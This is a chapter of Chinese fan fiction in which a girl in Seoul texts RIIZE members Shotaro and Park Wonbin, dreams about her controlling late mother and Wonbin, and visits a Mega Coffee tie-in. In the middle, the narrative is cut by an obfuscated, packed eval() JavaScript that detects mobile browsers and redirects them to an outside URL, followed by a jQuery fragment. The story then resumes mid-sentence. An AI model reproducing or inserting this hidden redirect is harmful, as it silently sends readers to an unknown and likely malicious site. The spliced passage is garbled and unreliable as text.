我觉得我应该学会调整一下自己的情绪了。 仔细想想,将太郎的这番话并不像在骗我,因为之前的所有蛛丝马迹都无声无息地窜起来了。 当时我和将太郎第一次线上对话的时候,我提到朴元彬,用的是女性代称,记得将太郎那时候还很懵,我还以为是他打字慢。 后来带我们开车去酒店,见我搂住朴元彬,将太郎又露出一言难尽的表情,当时我居然以为他是在挑衅,甚至单方面跟他作了一番无谓的比较。 ……现在想想,太羞耻了。 同时,我又自我感觉这份羞耻的由来少许奇怪。 怪异得就像我读过的女扮男装的狗血言情文里,得知了女主真实性别的男主非但没有因舍去男儿身的女主害羞,反而是在对女主旁边知晓一切真相的、看破大局的好闺蜜脸红。 不过我也没过多内耗,权当是觉得把自己幼稚的一面暴露给这位成熟的、拥有一层长兄身份的人会难免有些不好意思。 理性和感性是分开的,所以我能接受将太郎对我的关心的同时,也止不住埋怨,既然他处在一个当局者迷旁观者清的视角,那为什么没有早点制止我的行为,搞得我现在里外不是人。 【所以你从一开始都知道?那为什么不告诉我?】 将太郎很无辜:【我又找不到机会和你说,而且当时说的话会很尴尬吧?】 ……无法反驳。 我只好把一肚子闷气窝在胃腹里,不再说话。 然而,将太郎跟能穿过屏幕并有读心术似的,【你现在是不是在生气?】 【对】我也不客气,理所应当地承认了。 将太郎不会要充满爹味地当个老好人,假惺惺地劝我原谅他的好队友吧? 如果真是这样,那我一定会毫不犹豫地把他也拉入我心里自封的黑名单。 幸好将太郎没有,而是开玩笑地说:【有什么不顺心的事可以告诉我,说出来总会好一点的】 …… 我没有因这句话而感动,相反大惊失色。 经历了朴元彬一事后,我对一切周围的事物都格外警惕,总是会忍不住多想一层。 将太郎不会是也对朴元彬早有积怨,想看看我是怎么蛐蛐他的,所以抱着“敌人的敌人就是我的朋友”的想法,来和我故意交好吧? 大哥,你就不怕哪天有狂热追星黑客黑入你或我的手机,然后曝出我们的聊天记录吗? 到时候别说你们队内被扒感情不合、然后你被公司开除并开始上演第一章:被驱逐的高手了。 我还要在朴家生活呢,总不能寄人篱下还嘴人家万众瞩目的大爱豆小儿子,最后硬是和这家人的关系搞得无比僵硬尴尬吧? 可能是我的沉默格外长久,将太郎意识到什么,主动退了一步:【不说也没关系,一切都看你】 我松了口气,委婉地表达:【不好意思】 【没事】 还好还好,将太郎没有死缠烂打,而且有话会直说,不用我再纠结。 拒绝完我又有些莫名的愧疚,于是拙劣地试图转移话题:【你平常也是这么安慰你的妹妹的吗?】 我觉得将太郎的亲人一定很幸福。 他一看就是我的母亲最喜欢的那种孩子:成绩优秀、会照顾别人、温和且情绪稳定。 然而,将太郎的答案截然相反:【以前,妹妹有点怕我。】 我发了个表达震惊的表情包。 他继续回答:【妹妹也是练舞的,有时候回日本我会顺便指导她。她觉得我很严格呢,所以最近在有意让自己变得温柔一点……】 我原本不太信,觉得将太郎在自谦。 然后忽然又觉得没什么不可能的,毕竟我的母亲在其他人看来也是个温柔的女性。 她不打我,采用的却是比肢体殴打还要更为令人窒息的管教方式,并且在外人面前还要装作一副是比谁都开明的家长的模样。 有时候我都感觉她装得很累。 不知情的同学还要羡慕地对我说:你妈妈对你真好,真希望我也有这样的妈妈。 我只好抱以尬笑。 一这么联想,我顿时不觉得将太郎可怜了。 我又挑了个万能的表情包糊弄过去,聊天就此截止。 此时已经是十一点半,过去了半个小时。 和不熟的人聊天已经耗费了我一定精力,我就是这么低能量的人,聊完已经想睡觉了。 结果没过几分钟,朴元彬又给我发私信了。 我很想装没看见,然后猛地想起他们住一个宿舍——虽然不能打包票朴元彬和将太郎就住在一起,可所有事都要防个万一。 我不得不点开看,是朴元彬在问我:【你的照片是从taro哥那里拿的吗?】 朴元彬能看出不是我拍的,这倒是很正常,因为他一小时前才离开酒店,看到了我晚上点的是蜂蜜芥末炸鸡。 但他怎么这么笃定就是将太郎的照片? 我理不直气也壮地问:【你怎么那么肯定?】 朴元彬理直气壮地答:【taro哥在泡泡上发过】 我紧急去Naver搜了下泡泡是啥,发现是个偶像跟粉丝交流的平台,可以在里面发照片和文字等等,需要付费订阅。 *Naver=韩国百度 他们队内难道已经需要冲业绩到订阅彼此的泡泡了? 还好家里虽然看起来是很支持朴元彬的事业的,不过也没有过多干涉,更别说了解他的队友的泡泡每天都发了啥了。 我了解完泡泡的一系列功能后回来,才对朴元彬道:【不许告诉其他人】 朴元彬说,他不会那么不识眼色地在所有人面前戳穿的,现在他只是单纯好奇:这是taro哥私信发给我的,还是我在网上看到的别人发的泡泡截图。 ……没想到他的纠结点这么清奇。 我也不是傻子,当然知道朴元彬在苦恼什么,可又觉得是不是我太自作多情了—— 他不会是不爽我跟taro哥的关系吧? 我莫名地因微妙的平衡感到满足,好像不只是朴元彬存在于我脑海里的回忆纠缠不休地缠着我不放,我这个人也对他产生了一点意义。 但这个念头才刚产生了一秒,我就迅速打散了这个想法。 我现在还不知道要怎么区分心里混乱的情感。 就像我身体的一半被夹在火炉上炽热地灼烧,另一半又被浸透在冰水里沉默地濡湿。 我喜欢她,正是因为这种情感如此得强烈,以至于我讨厌他。 而这两种复杂的情绪又会在某个连我都未曾察觉的瞬间,悄无声息地交融。 于是在最后,我干脆选择了最直接的已读不回。 反正朴元彬的行程估计很忙,肯定没有那等闲工夫上门找到我——也没有机会每天都坚持不懈地给我发kkt。 7. 日常章 我的睡眠质量向来不好,又折腾了那么久,本以为会失眠到凌晨,结果在床上合了会儿眼皮,竟然就这么睡着了。 ——后果就是感冒了。 大酒店的空调,风速就算调到最低也吹得呼呼猛,温度调高了又觉得不如不开。 睡前,我把自己裹在厚厚的被子里,觉得裹这么紧估计不会再被我不小心踹开了,然而当晚就做了个噩梦。 梦里,我本来好端端地走在路上,一切平静无波。 唯一的蹊跷就是太安静了——安静到诡异,像是暴风雨前难得的片刻安宁。 果不其然,走着走着,突然前边的路毫无征兆地断开了,剩下的只有一片望不到底的海洋。 梦境中的我没有对此产生畏缩,反之好奇,弯下腰凑上去看,看了半天还是没看出个所以然:水面恍如一块庞大的镜子,干净、通透,在里边只能瞧见我的身形。 在某个瞬间,原本平和的海面颤抖地泛起涟漪, 起初,我以为是有什么东西在里边搅动,并隐隐有要喷涌而出的势头,因此向后退了一步,防止带出的水花溅到我身上。 但是,我望着那细小的、卷起的波澜,又不禁心生怪异。 人与生俱来的好奇心蠢蠢欲动地驱使我再度凑近去瞧波浪掀动的形状,我也遵从本心照做了。 我盯住水面,那阵涟漪越涌越激烈,仔细瞧却能发现违和的蛛丝马迹:它在涌动之际的方向不是寻常地打着旋,而是更像是被扯着强制上扬—— 接着我才发现:那并不是什么调皮的水花在打转,是水中倒映出的我在笑。 ……我在笑? 我为什么在笑? 我怎么不知道我在笑? 由水波构筑而成的镜面一览无余地形成另一个“我”的形象,呈现出的姿态却并非我的本貌。 可是,不知道是不是处于梦境时会自动变得钝感、还是我的心态本就如此,与对面之人对视时,我居然没感觉可怖,留在心间的只有一片死亡般的沉寂。 我看着她,她也回望我,以拿莫名令我感到熟悉的笑容为媒介,尘封的记忆逐渐浮上水面。 ——小时候,不像其他吵吵闹闹的同龄小孩儿,我不太爱说话,因此总是一声不吭地缩在人少的地方。 其他家长会和母亲讲些客套话,无非就是你家孩子真乖、一点儿也不闹腾、一看就很听话。 母亲表面上笑呵呵地应下他人的羡慕,满足了那零星大的被吹捧的虚荣心,结果背地又跟我说:听见没?人家都觉得你不说话,等你长大工作后要是还给别人摆脸色,上了社会该怎么办? 于是母亲让我学习微笑。 那时候太小,不会表情管理,硬笑起来很僵硬,幸好接触的人不会拿着个显微镜从医学角度研究微笑带动的几块肌肉线条是否自然,只觉着这个小孩子真懂事。 但旁观的母亲对我的标准不会这么宽松,在家里,她会说笑得太假了,还不如不笑——虽然要是我真瘫着个脸,她又会更不高兴。 想到这里,我忽然意识到我的心房因这个寻常的笑容燃起的厌恶是怎么回事。 ——太假了。 笑得好假、好丑。 那股强烈的感情驱使我伸手主动搅浑海面——即使里边的人展现出的是我的模样。 然而,待弯下腰、指尖探向冰凉的海浪时,我蓦然僵住了。 我对“自己”的态度,又和母亲有什么区别呢? 我还是活成了她的影子。 凝视她。讨厌她。追念她。解构她。 最后在某一天彻底成为她。 我突然浑身发凉。 怎么会这样?为什么会这样? 为什么她在死后也不肯放过我呢? 或者说——为什么她死了我还忘不掉她呢? 僵持的动作持续了太久,再猛地站起身时,我的眼前一片苍白。 再睁开眼,眼前一晃,白浪间浮浮沉沉的泡沫竟是变了色。 泡沫原本是盐白色的,仿佛盛满啤酒的玻璃杯杯口溢出的一圈沫儿。 但是,若是里边包裹的活体细胞溃烂,它们会染上浑浊的褐黄。 那是死亡的颜色,隐约散发淡淡的腥臭。 于是浪花便裹挟这群死神的昭告,欲要将没来得及离去的我吞噬。 大股大股冷冰冰的液体强制灌入鼻腔,迫使我张开嘴呼吸,然后它们便得寸进尺地也钻入喉管。 接着,我在迷蒙中挣扎,竟是发觉一丝不对劲之处。 灌满口鼻的腥咸味不知何时渐渐消退,取而代之的是一种怪异的甜香。 力道也慢慢轻柔,游走过我的每一寸肌肤。 由于太温柔了,痒痒的,居然让我感到一阵恶心。 我睁开眼,才发现眼前的根本不是什么要淹死我的浪花,在某一刻梦中的意象变成了朴元彬。 更骇人的是——他在亲吻我,以至于令我产生了一种溺亡般的窒息感。 与其说亲吻,不如说像是在抚摸,只不过媒介由手变为了唇瓣。 如同我第一次与朴元彬同床共枕的那个夜晚,我在一片黑暗中跌倒,他扶起了我,我没力气抬起手臂去摸摸他到底是谁,干脆用唇珠在他的脸颊上勾勒脸庞的线条弧度。 真是天道好轮回。 老天爷,你还不如直接把我一头按在水里溺死。 我被吓得飙了句脏话——当然是在心里飙的,因为嘴巴被堵住了。 偏偏我的脚好像被钉子死磕在了地面上,逃都逃不走。 唯一的挣脱方式只有硬扯,可后果就是自个儿也被整得血肉模糊,随后五脏六腑随着血水被冲得融化。 我忽然冷静下来,好像不是当事人似的,冷眼旁观这场荒唐的梦。 我的初吻还在(至少是在现实),所以没有体会过亲吻的感觉,因此此时并没感受到多余的触感。 好像相触的不是嘴唇,是两张薄到可以忽略重量的纸片子在摩擦。 匪夷所思的是,朴元彬在我梦中的形象不是我们见过的最后一面的短发模样,反而是在我记忆中残留最久且最深刻的中长发的造型。 他低垂眉眼,眼睫毛又细又长。 如果是以前,我可能会认真地停下手中的一切动作,好好欣赏一番朴元彬精致的五官。 可现在不同了。 我心中无语地冷笑几声,心想,当初我就是这么误解他为女孩子的,还傻乎乎把他当成酷酷的姐姐,相处了一个月多。 我刚想把朴元彬踹开,下一刻,他忽然开口讲话了。 那声音低沉、磁性,很明显是男孩子的声音,与美型的外貌形成强烈的反差感,冲击之大,以至于我都甚至没听清他在讲啥。 不过那不重要。 因为在下一个瞬间,他狠狠地咬上了我的下唇。 这回我是实打实地震惊了,因为他从未如此鲁莽地对待过我。 朴元彬跟条狗一样,咬的口子居然还不小。 细细密密的血珠渗出,染红了彼此的唇瓣。 好像这不是在旖旎地接吻,而是在吃人——捕猎者在咬开猎物的内脏之前,会先撕开皮囊上的一角,方便自啃出的创口为媒介,随后吸食血与肉。 也许亲人和吃人本就没有区别。 我没体验过亲嘴的感觉,但流血的感觉肯定经历过。 ——在疼痛感传递到神经中枢的那一刻,我终于惊醒了。 睡衣的布料被冷汗浸湿后再被功效猛烈的空调吹干,黏答答地紧贴后背,凸出欲要突破肌肤而呼之欲出的蝴蝶骨的形状。 我曾在网上看过这样一种说法:千万不要记梦,不然记多了容易精神分裂。 我是不大相信这种玄乎的玩意儿的,可此时此刻还真有灵魂被扯成两半、而后各经历了两段不同的人生的割裂感。 骨缝仿佛都被扒开,往里边乱七八糟地填入各种说不清道不明的情绪,连骨髓也要霸道地塞满,后果就是有些实在容纳不下的干脆就挣脱骨肉撬开肌肤,而第一个浮现在我脑海中的居然是:我怎么会梦到朴元彬跟我亲嘴? 俗话说日有所思,夜有所梦。 我确实在以前于心中无数次赞叹朴元彬的脸蛋,其中令我印象最深的就是嘴唇:他的上唇瓣弧度饱满,为了保持水分还会经常性涂唇膏,看起来亮晶晶的,凑近还能嗅到股膏脂的甜味儿。 我不像朴元彬那么讲究,夏天干到起皮都懒得特地去买润唇膏,可偶尔会碰见朴元彬握着唇膏往嘴巴上抹的样子,像蛋糕师手持裱花袋均匀地涂抹过蛋糕胚的每一寸。 我曾经甚至真情实感夸赞过他的嘴巴像果冻,感觉很好吃,当时朴元彬还被我的比喻吓了一跳,我不明所以,问他干嘛那么紧张,我又不会真的啃上去。 ——但是,我发誓,就算经历了这么多,我对朴元彬绝对没有世俗的欲望。 不仅没有欲望,我甚至都不想回想起他。 可是,越是刻意地不去回忆,都犹如是要徒手剥鱼鳞,把名为记忆的鳞片硬生生抹掉。 偏偏手法不熟练,扒不干净,那鳞顺着动作一点点掉入底下垫着的水桶里,有时候鱼鳞卡进指甲缝里,毫无防备进入的时候疼,拔出来的时候也疼。 好不容易扒完,把一干二净的鱼放进水里涮涮,于是就看到它渗出的血悄无声息地漂浮上来——是鳞片刮落之际被蹭伤的。 事后,手上还会一直残留着一股子甩都甩不走的鱼腥味儿,用加量洗手液猛搓到皮肤变红都洗不掉。 鱼类随着自然界的规律成长,会有部分无关紧要的鳞片因失去了它们应有的功能而顺理成章地脱落,不出血,所以不疼不痒地就这么过去了。 人不是鱼,学不会自动舍弃曾无时无刻附在体内的东西,因此每次都要伴随剧烈的疼痛,打得血肉模糊、最终两败俱伤。 我被这个梦的内容震撼到了,以至于一直沉思着呆坐到天蒙蒙亮,然后坐着坐着又低头趴在膝间不小心睡着了。 ——后果就是被空调吹感冒了。 我怎么不知道我的睡眠质量居然这么好呢? 再起来的时候因睡前诡异的睡姿浑身酸痛,我晕晕乎乎的,当即关了冷空调,又拖着鞋下了床去开窗,想让外边的热空气多涌进来些。 屋外在下雨,雨点子湿哒哒地扑面而来。 我脑子一抽,猛吸了一口,然后被争先恐后钻进鼻腔里的含着水分的氧气呛到。 本来就流鼻涕,现在更难受了。 头痛、背痛,智齿也不知为何开始泛痛,浑身都痛。 我条件反射地摸了摸下嘴唇,好吧,起码嘴巴不痛。 按理来说,生病了就要躺着好好休息。 可惜我一早上已经睡饱和了,硬躺也睡不着,眩晕的感觉反而蔓延得更为严重。 ——于是经过一番思考,我毅然选择了出门。 怎么不算一种以毒攻毒呢? 出酒店,我先是去了附近的便利店,打算买点药,顺便垫垫肚子。 这种便利店为了吸引客人,一般都会开在酒店附近,所以步行没几分钟就到了。 便利店里冷气开得很足,吹得我脑袋又开始疼。 值早班的店员姐姐看上去是兼职的大学生,伴随便利店进门后自动响起的铃声元气满满地向我道好,搞得我莫名地受宠若惊,把头埋得低低的,小声应声——我都不知道对方有没有听见。 早上没什么胃口,但直接空腹吃药又会有点不舒服。 挑挑拣拣半天,我最终还是放弃了作为早餐普遍被选择的三明治跟饭团,拿了个体积最少的希腊酸奶夹心全麦面包,再挑了一盒最常见的感冒药,去收银台结账。 希腊酸奶跟普通的酸奶不一样,不是稀稠的口感,嚼起来干巴巴的,热量很足,就是吃久了容易腻。 我没啃几口就放下了,想了想又觉得扔掉太浪费,所以还是老实地收回包装袋中,打算等今天什么时候又饿了再继续吃。 最后,我把感冒药拆了,发现是胶囊式的,要配着水服下。 本来想再去买一瓶矿泉水,忽然想起包里还有将太郎昨天给的我还没喝完的水。 嗯,应该还能喝。 又省了一千韩元。 吃完药,我才正式开启在首尔短暂三天的首章。 我不是第一次来到首尔,甚至可以说是非常熟悉。 可有一段时间没回来了,与之前在首尔定居的区域也不是同一块,所以依旧能说是首次接触。 转来转去,感觉没什么好逛的。 在下小雨,又是大早上的,出来的人少,给街道更添冷清,搞得人毫无出来游玩的欲望。 因此在最后,我默默选择了在首尔到处可见分店的mega coffee。 望到那见过许多次的logo,居然有种诡异的亲切感。 进店后,我因为不想跟店员交涉,干脆选择了旁边机器运作的自助菜单。 庞大的长方形机器伫立于前台边,有四个女孩子窝在一起,看起来在研究菜单。 我直接排在了后面等着。 ——先声明一下,我没有喜欢偷偷观察旁边一圈人在干啥的习惯,毕竟是个正常人都知道公共场合要尊重他人隐私。 但是她们看菜单的神情过于纠结,发出的动静不算大,不过我和她们站的距离不远,所以能依稀听出讲的似乎不是韩语。 是语言不通吗?不会点单? 真糟糕。其实我也有点忍不住想去帮个忙,但不确定她们是哪国人,要用什么语言比较好——当然这不是重点。 最重要的是,我也不好意思主动上去搭话啊…… 万一她们不喜欢陌生人随意搭讪呢?就算上前开口了,第一句话要说什么?要用哪种语言?看长相应该是东亚人,首先排除韩国,那么就是日本人或中国人……好吧,推理这些也没用,因为这两种语言我都不会啊!班里倒是有死宅会飙几句“阿娜塔哇瓦达西诺类目夹耐一内”之类我听不懂的日语……要么就干脆说英文?但是也不排除有些人英语不好的可能性啊…… *あなたは私のレムじゃないね(你终究不是我的蕾姆啊) “打扰一下——” ……啊。 突如其来的声音打断了我的思绪,用的语言是英文。 我愣愣地抬起头,发现是其中一位女孩子转过身,朝我搭话。 还好,她的英语还可以,我的也不算差劲,所以居然能蛮流畅地沟通。 我很快反应过来,努力不漏掉对方说的每一句话,能听懂个七七八八。 大致就是说一行人来喝联动,但其中一位只是圈外人朋友,来陪她们的,所以想额外点一杯非联动饮品。 可mega菜单太多了,翻译也译不准,怕点错,也正好想问问本地人有没有推荐的。 听到这个需求,我松了口气。 虽然不清楚联动菜品是什么,不过非联动相关的领域我还是很了解的。 还好她们问对了人,正好我以前就隔三差五来mega coffee坐坐。 上学放假期间,我不喜欢待在家里,就跟母亲谎称要和同学去图书馆写作业,然后就和玩得好的朋友随机找一家mega coffee。 一人点一杯不重样的饮品,不对嘴地换着喝,就这么坐一下午,一天的时光就熬过去了。 所以,虽然并未有那么多钱和精力把菜单上每个饮料都喝一遍,但里边起码有二分之一都是我尝过的。 我凑过去,和她们一起看菜单,推荐了几款最不容易踩雷的:草莓酸奶奶昔、桃子冰茶、淡香草杏仁拿铁。 还好现在店里人少,在我们后面就没有人排队了,可以慢慢挑上一段时间。 讲英文的女生把我的话用她们的语言翻译了过去。 出于好奇,我悄悄听了听,才听出讲的是中文。 她们在几样推荐中随机选择了一种,而后就打算挑联动了。 想着做好人就做到底,我随口一问:“你们还要点什么?不介意的话,我帮你们一起点了吧。” 说完后我又开始后悔,恨不得把脱口而出的话吞回去。 我在多管闲事什么呢?既然人家是为了联动而来的,肯定是做过一番攻略,不需要他人帮助了。 刚刚突然询问我,也只是不太了解非联动饮品的相关信息罢了。 幸好那个女孩子没有觉得我多管闲事,而是露出一副介于喜悦和受宠若惊之间的神色,这才让我松了口气。 联动的特殊饮品被单独拉出来一栏,我点了一下,下一秒,屏幕上蹦出几张旁边附了不同代言人图片的饮品参考图。 我的手指悬在屏幕前,忽然陷入了沉默。 ——怎么有两张脸那么眼熟呢? 只见屏幕上显示出六种饮品跟几道小吃,饮料都五颜六色,没有一样的色系是重复的。 其中绿色的旁边贴了将太郎的图,棕红的则是朴元彬。 ……也许我早该料到这一步的。 我知道了将太郎和朴元彬同为一个偶像团体、也知道旁边这几个人是奔着联动来的,偏偏没想到事情怎会如此之巧。 一般来说,要是联动了,店门都会张扬地贴上宣传图,大大咧咧地告诉粉丝们“我就在这里!”。 但这家店应该是刚开的分店,还没来得及跟上本部的节奏,只有菜单同步更新上了,其他依旧和往日没什么区别。 我的心理活动虽然丰富,可不会想得太久。 激烈的一番心绪起伏也就默默活跃了一两秒,而后就迅速调整状态,尽量用最贴切的语言翻译过去。 她们感激地向我道谢,接着我就识眼色地自动退出,让她们自己选份量。 四人点完后就去找桌子坐下了,离开自助机器前不忘再度向我表达感谢。 就在这个短暂的间隙中,机器已经默认恢复到初始界面,静静等候下一位客人的操纵。 我这才发现界面就是包含将太郎与朴元彬在内的六个男人靠在一起的宣传图,每个人旁边还贴上了各自代言的饮品。 其他四个人我都不认识——本来我就不热衷追星,就知道俩个本来就跟我有联系的人。 店里人不多,没人会关注我的行为,但我心里总是隐隐有种做贼心虚的诡异感,没敢盯海报太久,就迅速划了过去。 本来想习惯性地点杯去冰的苹果柚子冰茶,忽然想起感冒期间不能喝含糖的冷饮——要是感冒因此加重,等三天后回去,我都不知道该怎么面对姨妈姨父,因而就此作罢,点了份普普通通的美式脆皮热狗。 点单的时候,我发现这个男团的联动菜品中就有墨西哥辣肉酱热狗。 大概是怕有些只是为了联动才来消费的粉丝买错,菜单上还特地标注了联动的图标,借此与普通的常驻菜品区分。 但我又不是粉丝,况且联动的热狗还要多花八百韩元——虽然也没有多少钱,总而言之,我依旧特地避开了联动。 下完单,我立即像一朵发霉的蘑菇缩到店里角落的位置入座。 不管是去哪家店,这种边边角角的座位永远是我的最优位选择。 我落座,第一件事是掏出手机,看看昨晚到今早有没有新的消息。 首先在家庭群里发一句早上好,给大家营业出阳光向上且作息健康的形象。 然后点开朴元彬的对话框——他居然还在给我发消息,还不止一两条。 可能是以为我不喜欢他干涉我与别人的消息,朴元彬自动切换了别的话题,就算我因为睡着了没看到,他也在坚持不懈地敲字。 密密麻麻的气泡框宛如产了卵的蟑螂,不断滋生,没完没了。 最重要的是怎么清都清不完,看完一屏幕发现还有满满一页的话。 我不是傻子,不会傻乎乎地觉着朴元彬是突然变话痨了。 虽然没耐心一条条看完,不过我还是大致扫了一眼,他的前言后语间没多大关联,跟梦游似的,想到啥发啥。 我直接划到最后,看最新消息。 果不其然,朴元彬前面发那么多东西,只是因为他不擅直球,不熟悉要如何开启真正的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340668|183425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题,所以乱七八糟地砌了前面一堆过于冗长的开场白。 彼时已是凌晨两点,他以简单的一句话当作收尾:【抱歉】。 歉意是一种很复杂的感情,和坦白爱意一样难以启齿。 在很久、很久以前——久到小学教科书还没教会我“恨”怎么写的时候,我曾认为我是爱着母亲的。 世俗的道德伦理皆告知我:你要爱她,因为她也是世上最爱你的人。 她辛苦怀胎十月,窄小的子宫容纳下幼小的你的存在。 她为你承受了痛苦与庄严,孕吐反应呕出的呕吐物都是你流出的血。 可是,临到母亲节之际,我却觉得大大方方道出一个女儿对母亲的所谓的深厚的爱感到难以启齿。 我站在她的面前,像是乌鸦饮水,只差再塞入一颗细小的石子就能让里边的水液溢出,偏偏我没有最后那么丁点儿勇气。 现在想想,估计不仅仅是有我本就不爱如此张扬地表达情感的原因,还有就是因为心底已经隐约埋下了负面情绪的萌芽。 我的沉默自然是招使了母亲的不满:她看到了别家的孩子是如何向母亲诉说爱意的,或是送花、或是主动帮忙分担家务,只有我愣是连句最简单的话都蹦不出来。 但是,最让我惶恐的不是母亲口中斥责的所谓的“不孝”,而是发觉我连对此事的道歉都说不出口。 世人常说:孩童是啃食母亲的血肉长大,母亲的爱是最无私的。 然而我觉得我与母亲的关系有违常理,我觉得她反倒是吸血虫,是菟丝花,是梦魇,一点点缠上来,深深扎进我的骨髓之中,把我当成她的所有物,蛀洞、吞噬。 因为每次都是我扮演不语的角色,好像我的语言组织能力早就全部被母亲剥夺扫光,总是她一个人絮絮叨叨的,我却一声不吭。 所以,正因对这种情感的复杂性无比清楚,我才对朴元彬的坦诚感到由衷的困惑:他在对不起我什么? 觉得我会愤怒?会悲伤?觉得他辜负了我?觉得我昨天的平静只是在逞强? 那他未免把我想得太脆弱了。 其实我自己都对我的平和感到惊奇,可事实就是如此,我也就在刚得知真相的那几个小时内情绪波动较大罢了。 我本来想继续已读不回,想了想,担心朴元彬又多想,误会我是在耍脾气,所以还是勉强给了个答复。 ——只发个表情包也算回答。 我还没来得及滑出聊天界面,就看到发出的消息被读了。 我看了看时间,现在是早上九点,而朴元彬凌晨两点还在给我发信息。 他是不用睡觉吗? 我这么想着,同样也这么直接问了。 朴元彬老老实实回答,说他要去日本神奈川县横滨市,是凌晨三点的飞机,五点半刚下,然后换乘电车又花了差不多一个半小时,所以在路途上已经睡了一会儿了。 他打字很快,说的又多,能有我的气泡框的三倍长。 我也懒得追问朴元彬突然去横滨干嘛,无非就是在那儿有什么团体活动。 想到这里,我突然想起他和mega coffee的那张联动图——当然第一反应不是回想朴元彬在海报上的样子,而是发觉刚刚在和他发消息一事上耗费了过多时间,下单的菜品估计早就做好了。 于是我果断站起身,去前台把我的热狗端回来。 还好也才做完不久,没有冷掉。 红彤彤的香肠上涂满了酱料,被烤得焦黄的面包裹挟着。 份量不大,所幸我本来也不饿,只是想满足消费入座的条件,在这里坐一会儿而已。 结果刚把外包装撕开,就有人走到了我的桌旁。 起初我以为只是有人路过,因此并未特地打量来者何人。 然而对方忽然把什么放到了桌上,余光还能瞥见推向了我。 我疑惑地抬头,发现是刚刚帮忙翻译的那个女孩子。 她看起来也有点害羞,和我对上目光后又迅速分离,嘴上说的话却不含糊。 她说,谢谢你刚刚帮了我们,不介意的话,请收下这个当作谢礼吧!是还没有被开过的饮料。 我受宠若惊——毕竟根源上来说又不是我主动开口提出要帮助人家,现在还白嫖了东西,怪过意不去的。 但女生坚持感谢我,表示要是没有我,可能在选非联动饮品的时候还会不小心踩雷。她们也是第一次来mega coffee,来的时候做的攻略不太全,还好遇上了我。 我只好收下,她这才心满意足地回去了。 因为当时只顾着绞尽脑汁如何回应陌生人的善意,一时竟未反应过来她塞给我的是什么。 等女生走后,我低下头,黄色杯套上六个搭着彼此的肩膀傻不愣登笑的男人映入眼中,裹着装着色调为青柠绿的饮料的杯子。 ……没想到还是躲不开。 算了,反正饮料无罪,别人也不知道事情怎么就那么巧。 所以我还是当作无事发生,拆开吸管,插进盖口,戳到底后凑上去吸了一小口。 结果,几乎是在液体进口的那一瞬,我顿时僵住了。 ——像是没熟透的青柠径直在口腔中挤出汁水,柠檬皮本身自带的酸涩微苦的气息只剩下“苦”被无尽放大。 把我本来因感冒有些头疼的大脑都冲得清醒了。 我做贼似的,先是张望四周看看那个女生坐的一桌在哪里——不然如此明确地对免费送我的饮料表达出负面情感未免不大礼貌。 还好我是背对着她们的。 我放下心来,拿出手机开始搜索,想看看到底是谁的联动这么难喝。 刚刚看到宣传图的时候也没观察过这个团叫什么名字,我转了转杯子,终于在杯套的背面看见了他们的团名:RIIZE。 于是我把团名也加进了搜索框中,开始查询megaXriize的具体联动。 官方通知位于搜索显示的前几位,我点进去一看,其中一个绿油油的色调十分显眼,写着:“绿茶柠檬气泡水”。 我再一瞧,旁边附的图赫然是将太郎,仍然是那副熟悉的笑盈盈的模样。 我想起当时在他的包里看到一堆难吃的零食,现在嘴里怪异的柠檬味还持久不散。 ——将太郎不会真的有异食癖吧? 心里这么嘟囔着,手机屏幕忽然亮起,竟然是当事人发来消息了。 在没看清具体发的内容前,我差点以为将太郎有透视眼兼读心术了,不然卡的时间怎么会这么准? 还好,他发的东西很正常,是一张风景图:天边跟海面的颜色融为一体,仿佛挂在空中的云团都要一并融化在海中。 该说不说,我对海面已经有点PTSD了。 本来都要忘掉昨晚那个该死的梦了,结果又随着这张照片逐渐清晰起来。 我赶紧打散脑海里的想法,开始斟酌如何回复,然而想了半天依旧不知道咋回,因为心里只有一个念头:将太郎的拍照技术真是令人感慨。 非褒义也非贬义。 从他头像的超绝小学生氛围感男头到一看就是中老年人会搭配“海阔天空”ID用的风景图,年龄跨度还蛮大的。 幸好,将太郎没等我回复,而是主动继续说,话语同样简单明了:【横滨的海】。 我的第一反应不是他为啥突然跟我分享这些,而是问,你们去日本的行程难不成是公费旅游? 将太郎居然也认真地顺着我关注点清奇的话题说下去了,跟我说不是,只是今天跟着团队活动重回横滨,想到了以前在横滨拍过的照片,现在又突发奇想翻出来了而已。 我往上划了划,又点进图片,放大,其实他的拍照水平还挺好的:构图平衡,画面主体也很明确。 所以,虽然不知道为什么将太郎要突然意义不明地给我甩张风景图,我还是尽力给满了情绪价值,夸他拍得不错,看得我也想去了。 我的话半真半假,真在我确实没看过海。 首尔其实有很多片海:从机场能直接坐公交到永宗岛,对面还有月尾岛、仁川机场附近就有一片海滩、实在不行直接去当天就能来回的乙旺里海水浴场也行。 可我明明住在韩国最繁华的首尔,却像是永远被困在一小片区域活动,很少去外边见识真正的风景。 假则是在我也并非那么想去。 我不是高能量群体,和同学聚餐回来后要在床上躺平半天才能调理过来、回个别人的消息都要动用起所有的脑细胞。 正因如此,我才觉得将太郎跟我完全不是一路人。 他平和、稳定,光是从发给我的照片里就能看出是个面对生活很积极的人:会和家人一起开开心心地出来吃那曾被我母亲叨叨过好多次不卫生不健康的炸鸡,也能把冷色调的大海拍出波光粼粼的平和的美感。 我对“将太郎完全就是我母亲口中的别人家的孩子”有了更清晰的认知。 同时,又发自内心地疑惑:他为什么要主动接近我? 我和将太郎不算有话就谈的关系,更何况我与他认识的契机是因为朴元彬,而他也知道朴元彬跟我现在关系很尴尬,却跟个没事人儿似的,昨天更是就那么轻轻松松地直接问我是不是知道真相了。 但将太郎没有读心术,不知道我曲折的心理活动,只是回答我说,那等你高考完可以来日本旅游,我来当导游。 我没好奇他是怎么知道我的现生情况的,毕竟朴元彬一看就是个藏不住情绪的样儿,他阴晴不定地耷拉着个脸,将太郎再无意一问,估计就啥话都叭叭地撬出来了。 我也没把将太郎的话当真,权当是客套话,于是发了个微笑过去,然后问他,吃过早饭了吗? 